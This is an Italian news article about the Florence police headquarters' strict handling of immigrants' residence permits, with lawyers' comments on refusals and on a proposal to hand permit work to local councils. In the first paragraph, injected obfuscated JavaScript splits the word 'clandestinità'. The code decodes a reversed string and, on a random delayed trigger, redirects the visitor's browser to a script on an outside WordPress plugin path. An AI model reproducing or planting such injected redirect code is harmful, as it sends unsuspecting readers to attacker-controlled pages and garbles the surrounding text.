Permesso, per favore…

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“La questura di Firenze è molto rigida nell’applicazione della normativa sui
permessi di soggiorno, anche seguendo interpretazioni restrittive
discutibili”. Sono parole dell’avvocato Luigi Mughini dell’Associazione
progetto Arcobaleno, che da anni si occupa dei temi legati all’accoglienza
degli immigrati.
Gli aspetti legali in effetti non aiutano a sentirsi a casa. Gli stranieri che
vengono da noi in cerca di un lavoro, di un’alternativa alla fame, alla
miseria o alla guerra, devono subire un passaggio obbligato per le questure
che ne devono registrare l’identità e le impronte digitali. Ma chi va in
questura per mettersi in regola, di fatto denuncia la propria cl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andestinità.
Questo ed altri aspetti della Bossi Fini hanno portato ad aspre critiche di
questa legge, e non solo da parte di quegli idealisti poveri illusi che si
battono per la dignità e la giustizia tra gli uomini. Recentemente anche la
Corte Costituzionale ha dichiarato l’illegittimità di alcuni punti, in
particolare quello che prevede la possibilità di rimpatrio immediato alla
frontiera, senza che chi arriva abbia la possibilità di chiarire la propria
posizione. In più, le tragiche condizioni in cui versano i CPT – centri di
“permanenza temporanea” di nome, luoghi di detenzione di fatto – nei quali non
sono ammessi i giornalisti, ma spesso nemmeno gli “eletti dal popolo” tanto
cari al governo, né rappresentanti di istituzioni e organizzazioni umanitarie,
seminano perplessità e sconcerto anche tra i più fiduciosi verso la bontà
delle attuali politiche di accoglienza. Tanto che persino il ministro Pisanu,
durante il G5 svoltosi lo scorso ottobre a Firenze, aveva lanciato la proposta
di affidare la gestione delle pratiche amministrative per il permesso di
soggiorno alle amministrazioni locali.
Il Sindaco Domenici, che è anche presidente dell’Associazione Nazionale Comuni
Italiani, si disse entusiasta della cosa, soprattutto per sgomberare il campo
da un’idea di accoglienza che sembra diventata un problema di ordine pubblico.
Fare la coda in un ufficio invece che in questura, attorniati da poliziotti
dai modi spesso sbrigativi, sarebbe già un primo risultato. Ma di questa
proposta del ministro degli Interni attualmente si sono perse le tracce, e gli
stranieri a Firenze continuano a scontrarsi con la durezza della Questura.
“Anche quando hanno pieno diritto al rilascio o al rinnovo del permesso di
soggiorno – ci spiega l’avvocato Mughini – gli immigrati devono superare una
serie di ostacoli che li mettono in uno stato di precarietà assoluta. Alcune
interpretazioni della normativa attuale, a mio avviso del tutto discutibili,
creano disagi e rallentamenti immotivati. Ad esempio la questura di Firenze
non accoglie direttamente le domande di permesso per asilo politico, ma
rispedisce i migranti al posto di frontiera (alla questura del luogo di
arrivo, n.d.r.). E ancora, impone l’obbligo del permesso anche per i minori
che hanno genitori presenti regolarmente sul comune di Firenze, per il
rilascio della carta di soggiorno richiede la presenza da almeno 6 anni sul
territorio, altra cosa non presente nella normativa, è rigida rispetto ai
ricongiungimenti familiari…”
Ma come si può reagire a queste violazioni della procedura?
Mughini scuote la testa: “Nella maggioranza dei casi, quando si va in questura
per una richiesta non si riceve mai una risposta scritta con una motivazione.
Normalmente il comportamento è quello di un rifiuto di fatto. Non viene fatta
l’istanza. Viene chiesto di ritornare ma non rimane niente su cui poter
lavorare dal punto di vista legale. Nei rari casi in cui invece viene emesso
un provvedimento scritto e motivato, c’è da tener presente quanti sono gli
immigrati che hanno la capacità economica e sociale per affrontare una causa
contro la questura perché non gli ha rilasciato ciò che doveva: uno su cento,
su mille?”
La proposta di Pisanu potrebbe dunque essere utile a migliorare lo svolgimento
delle pratiche amministrative?
“Senz’altro sarebbe importante creare un dialogo costruttivo con la Questura e
questo può farlo solo chi ne ha la capacità istituzionale – afferma Mughini –
Non si tratta di chiedere favori o benevolenza. Non si chiede di risolvere il
caso di una persona in particolare perché, poverina… Si chiede soltanto che
venga data applicazione alla normativa”.
Anche Daniela Consoli, avvocato della Casa dei Diritti Sociali, è d’accordo
sulla necessità di un maggiore coinvolgimento delle amministrazioni: “L’ente
locale dovrebbe essere interessato in quanto una presenza irregolare sul
territorio, causata alla fine dai comportamenti restrittivi della questura,
può produrre sul territorio problemi di ordine pubblico. L’immigrato presente
regolarmente sul territorio che, perdendo il posto di lavoro, diventa
irregolare rischia di diventare per le amministrazioni un problema… è molto
più facile che situazioni di devianza o delinquenza nascano nella
clandestinità.”
Cerchiamo allora di stabilirli, questi rapporti costruttivi: sarebbe un
vantaggio per tutti.

Per approfondire la questione: Non passa lo straniero, di Luigi Mughini, il
Libro nero sull’immigrazione curato dal C.N.C.A. (Coordinamento Nazionale
delle Comunità di Accoglienza), ed. La Meridiana.

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